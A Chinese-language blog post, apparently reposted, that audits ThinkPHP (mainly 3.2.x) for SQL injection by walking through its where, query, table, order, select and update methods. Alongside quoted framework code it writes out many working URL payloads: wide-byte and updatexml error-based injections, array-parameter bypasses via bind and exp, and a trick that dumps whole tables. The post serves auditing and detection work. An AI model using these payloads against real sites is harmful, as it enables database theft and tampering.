版本過多只分析大版本和使用人數較多的版本目前使用人數最多的3.2.3，審計時也是發現多個版本未公開漏洞
測驗環境: Mysql5.6/PHP5.5
首先明確的是在不使用PDO做引數系結時ThinkPHP全版本都可能存在寬位元組注入，
黑盒檢測方法:輸入于頭位元組大于7F測驗資料例如：
%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23 (%5e 后跟任意T-SQL陳述句)
白盒檢測方法 全域搜索默認格式是否被設定GBK
'DEFAULT_CHARSET' => 'utf-8', // 默認輸出編碼
或者
mysql_query("SET NAMES gbk");Where方法
也是使用的最多的條件查詢方法，支持查詢條件預處理
1. $Model->where("id=%dand username='%s' and xx='%f'",array($id,$username,$xx))->select();2. // 或者3. $Model->where("id=%dand username='%s' and xx='%f'",$id,$username,$xx)->select();
而他的預處理實際上呼叫了addslashes() 方法
/** * SQL指令安全過濾 * @access public * @param string $str SQL字串 * @return string */ public function escapeString($str) { return addslashes($str); }
然而在對單引數傳遞時where并沒對陳述句做引數化處理而在官方檔案多個實體也是只傳遞了一個引數，包括一些開源專案找到的錯誤寫法，
$result =$this->db()->where($where)->update($data);或$teachers = $Teacher->where('name', 'like', '%'. $name . '%')
where代碼
/** * 指定查詢條件 支持安全過濾 * @access public * @param mixed $where 條件運算式 * @param mixed $parse 預處理引數 * @return Model */ public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); } ... ... ... return $this; }
只對$parse引數做了過濾 這種寫法對于query（）同樣有效或者類似處理的方法同樣有效，
這也算是開發人員安全意識問題，但在審計時這樣的寫法是影響全版本的，
QUERY()方法，execute方法
這兩個方法支持更多原生sql陳述句在復雜的業務場景經常遇到
在低于3.1.3版本這兩個方法都呼叫parseSql來決議sql陳述句
/** * 解析SQL陳述句 * @access public * @param string $sql SQL指令 * @param boolean $parse 是否需要決議SQL * @return string */ protected function parseSql($sql,$parse) { // 分析運算式 if(true === $parse) { $options = $this->_parseOptions(); $sql = $this->db->parseSql($sql,$options); }elseif(is_array($parse)){ // SQL預處理 $sql = vsprintf($sql,$parse); }else{ $sql = strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX'))); } $this->db->setModel($this->name); return $sql; }
然而parseSql根本就沒有對陣列引數做預處理就直接查詢了，
這個漏洞官方早就披露了但在歷史版本仍然可以見到身影，
Table,find,alias,join,union,group,having,comment 方法
Table,find這2個方法都需要select() 進行與資料庫查詢并未發現過濾
如果引數可控可以直接利用
$Dat=$Data->field($id)->select();
url地址中輸入
id=updatexml(1,concat(0x7e,database()),3)或者陣列形式可以躲避value的過濾檢測id[updatexml(1,concat(0x7e,database()),3),1]=1Table利用方式方式一樣
id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+在where之前的做操作都可以這樣利用
還有類似
Alias 設定當前資料表的別名
Group 根據一個或多個列對結果集進行分組
Join 用于根據兩個或多個表中的列之間的關系
UNION操作用于合并兩個或多個 SELECT 陳述句的結果集
COMMENT方法 用于在生成的SQL陳述句中添加注釋內容
如果引數可控都會造成SQL注入
Order方法
Order方法有個cve編號CVE-2018-16385
在小于5.1.2版本都存在sql注入在官網現在3.2.5最新版已經被修復然而
在3.2.4之前版本這個漏洞依舊存在 而且這個更新函式改動了很多升級可能會出現更多問題
第二個圖是補丁之后的對所有引數陣列化防止sql注入，考慮問題更加全面增加陣列遍歷，常規的陣列處理利用二維陣列可以繞過例如
id[id][updatexml(1,concat(0x7e,database()),3)]=--+
Select方法
前置方法查詢資料拼接后都是進入select最后和資料庫互動，也是重要的方法在支持一個引數傳遞往往條件 18年也披露一個漏洞 $options引數可控同類影響的方法還有delete,find
只需要在url中輸入
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
便可注入成功都是利用了接收陣列引數未驗證導致的
/** * 查詢資料集* @access public * @param array $options 運算式引數 * @return mixed */ public function select($options=array()) { $pk = $this->getPk(); ... ... // 分析運算式 $options = $this->_parseOptions($options); ... ... return $resultSet; }
雖然在3.2.5版本更新了這個漏洞但在官網3.2.3并未被修復依舊可以被利用這也導致了低于3.2.5版本都可以利用，
在查看官方安全更新代碼時發現5.x包括，3.2.5最新版本確實將這個漏洞過濾了但卻引發另一個利用可能，
$id=I("get.id"); $Dat=$Data->select($id); $this->data = https://www.cnblogs.com/feizianquan/p/$Dat;
在url輸入 id=1%20and%201=1 可以看到執行陳述句
SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]
可以看到確實這樣也不會存在sql注入但是有另一個問題Thinkphp框架特殊性
當你查詢一個資料是否存在時，入侵者無法得知你的ip時候可以通過傳遞一個陣列例如
?id[]=1
SELECT * FROM `users` [ RunTime:0.0006s ]
遇到位置錯誤的時候在拼接where條件時會自動跳過，這樣你就看到整表的資料，這種方法也可以利用在delete()方法
update方法
1. $User->where('id=5')->setInc('score'); // 用戶的積分加1
2. $User->where('id=5')->setDec('score',5); // 用戶的積分減5
在呼叫setInc，sETDec在呼叫時如果引數可控也會存在注入
在直接呼叫update去實體化更新資料同樣會引數注入同樣的官方也發布了安全更新
例如構建一個物件
$User = M("users");$user['id'] = I('id');$valu = $User->where($user)->save($data);
這里也是利用exp注入
Id[0]=exp&id=[1]==1 執行的sql陳述句為
Select * from users Where id=1
這里的update也是這樣的利用方式利用bind 構建的payload：
id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
而它的代碼
/** * 更新記錄 * @access public * @param mixed $data 資料 * @param array $options 運算式 * @return false | integer */ public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操作 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ // 單表更新支持order和lmit $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
從Update代碼中發現代碼中先呼叫parseSet 構建的 set xxxx 在拼接完成后 類似
UPDATE xxx SET user=:0 WHERE id= xx
在where條件第二次呼叫拼接時可以造成SQL注入
elseif('bind' == $exp ){ // 使用運算式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用運算式 $whereStr .= $key.' '.$val[1];
在傳遞陣列時可以達到繞過
Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3)或者Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)
這也是 bind,exp注入
在最后呼叫execute方法時默認對：1：0進行拼接
這里又會造成第3次注入
比如我們輸入
?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0在條件位只輸入:1’:0 修改位放我們要注入的陳述句依舊可以注入成功
這里insert 也是同樣的利用方法低于5.0都有這個問題目前官方并未修復雖然利用條件苛刻，
至此在對常用的互動查詢，修改方法審計完成，也是發現多個利用條件(踩不完的坑)，對于thinkphp在接收陣列時的多處理造成的SQL注入,雖然不明白這樣設計框架的含義但這樣是非常不安全的，很容易接收無法處理的陣列導致程式報錯重要資訊泄露甚至500導致服務器宕機，
也是第一次接觸php代碼審計,對很多特性都要翻閱官方檔案如有遺漏或者錯誤歡迎補充指正，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/10959.html
標籤：訊息安全
下一篇：PHP代碼審計基礎-中級篇